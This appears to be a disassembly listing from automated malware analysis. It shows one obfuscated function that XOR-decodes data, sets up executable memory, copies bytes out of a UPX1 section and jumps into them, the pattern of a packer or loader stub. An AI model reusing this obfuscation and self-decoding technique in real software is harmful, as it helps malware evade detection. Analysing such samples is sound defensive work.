Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbfb35056
and edi, eax
inc edi
popal
or eax, eax
or edi, eax
mov ebx, 0
mov edi, ecx
mov edx, eax
add edx, edx
sub edx, eax
mov esi, edi
inc eax
mov eax, 0x3c5ded4f
mov ecx, esi
and edx, eax
add eax, 0x8a2a6343
inc ebx
and edx, eax
and edx, eax
cmp ebx, 0x1000d4e
jne 0xa789bf
add eax, 0xdec2bdba
add eax, eax
add eax, eax
sub edi, 0xd576ff26
dec edi
mov edi, 0xf4099bf1
mov edi, 0xa78796
mov edx, ecx
mov ecx, ebx
and ecx, ebx
mov esi, 0xa7898a
add edx, ebx
add edx, ebx
and ebx, edx
mov eax, dword [edi]
sub ebx, ecx
mov edx, 0x4ede6dcf
and eax, 0xff
inc edx
sub ecx, 0xd8e14411
xor dword [esi], eax
dec edx
inc ecx
inc esi
add ecx, 0xed08c119
add edx, edx
add edx, ebx
add edi, 1
sub ecx, 0x4c0079b1
not ecx
or edx, edx
cmp esi, entry0
jl 0xa78a16
not ebx
dec ecx
mov ecx, ebx
sub ecx, 0x85b9ad83
add ebx, ecx
and edx, ebx
mov ebx, esi
and ebx, edx
mov edi, 0xa7898e
or edx, esi
mov edx, ebx
mov edi, dword [edi]
dec edx
dec ebx
mov edx, esi
mov edi, dword [edi]
add ebx, 0xbe57beff
mov esi, edx
sub esp, 4
mov dword [esp], edi
dec esi
and esi, ebx
mov edi, 0xa7898a
and esi, ecx
sub ecx, edx
mov edi, dword [edi]
or ecx, ebx
sub ecx, 0xc3ca580f
mov edi, dword [edi]
add ebx, 0xa54bd184
and ecx, edx
sub ecx, 0x97e39bbc
push 0xa78992
sub edx, esi
inc esi
dec esi
call edi
sub esi, edx
add esi, ecx
sub ebx, esi
pop edi
not esi
add ecx, 0x73e9aead
push 0xa7899f
sub ebx, edx
add ebx, esi
sub esp, 4
mov dword [esp], eax
mov ecx, edx
sub ebx, 0xeb7b254e
dec esi
call edi
add ebx, ebx
and ebx, ecx
mov ecx, 0x40890bbd
sub esp, 4
mov dword [esp], 0x40
sub edx, 0x74dd4c67
add ecx, ebx
push 0x3000
not edx
mov ebx, edx
add edx, 0x9dc02645
push 0x20000b81
add edx, 0xc53c5cab
dec ebx
sub esi, ebx
sub esp, 4
mov dword [esp], 0
and ecx, edx
add ecx, 0x75174daa
sub ebx, 0x4a2886fc
call eax
sub ecx, 0x144dd1cb
not ebx
inc edx
add eax, 0x20000afe
and esi, ecx
sub esi, ebx
mov edi, 0xecb50124
and ebx, esi
add ecx, ebx
add ecx, 0xe7a55188
mov dword [eax], edi
add ebx, esi
mov esi, edx
mov ebx, 0xd2c0ce97
mov edi, dword [eax]
or ecx, edx
not esi
cmp edi, 0xecb50124
je 0xa78b77
mov ecx, 0
mov eax, dword [ecx]
add esi, ecx
dec ecx
sub edx, ebx
and ecx, ebx
add ebx, ebx
mov edi, 0x57fc656e
inc edi
or edi, edi
mov esi, section.UPX1
dec eax
sub edi, 0x829d31cd
mov edx, 0xa78795
add edi, 1
or eax, eax
mov ecx, 0
mov eax, edi
not edi
mov ebx, 0xa78796
not edi
add edi, 0x32f9346
lea ebx, [ebx + ecx]
sub eax, 0xa048b3cc
mov edi, 0x2e9385d8
inc eax
mov ebx, dword [ebx]
add edi, 0x53186cee
add edi, edi
add edi, 0xf15bc871
and ebx, 0xff
and eax, eax
and edi, edi
inc ecx
add edi, eax
sub eax, edi
sub eax, 0x6b9c4ec4
cmp ecx, 0x1f4
jne 0xa78bf8
mov ecx, 0
add eax, 0x4c0b154
sub eax, edi
or edi, edi
sub edi, 0x8eecaafb
and eax, eax
mov eax, 0x2b39b256
xor dword [esi], ebx
add eax, eax
sub eax, 0x9b99bae2
add esi, 2
sub eax, 0x469864c6
not eax
cmp esi, edx
jl 0xa78baa
or eax, edi
mov edi, eax
add eax, edi
not eax
mov eax, 0xb690035d
sub edi, 0x1d44e56b
mov edx, section.UPX1
dec edi
or ebx, ebx
mov esi, section.UPX1
add ebx, 1
sub ebx, 0x9e1f9f62
mov eax, 0xa78795
add ebx, 0xe574c0a5
not ebx
add edi, 0x1a6871f3
mov ecx, 0
sub edi, ebx
and edi, ebx
mov cl, byte [esi]
and edi, edi
add edi, ebx
mov byte [edx], cl
add edi, 0x309e3c7b
and edi, ebx
add edx, 1
and ebx, ebx
sub edi, ebx
or edi, ebx
add esi, 2
sub ebx, edi
mov ebx, 0x1d05d102
cmp esi, eax
jle 0xa78c77
and edi, edi
mov ebx, edi
mov edi, ebx
add edi, eax
dec edi
push 0x8dc6a0
and edi, eax
and eax, eax
not edi
ret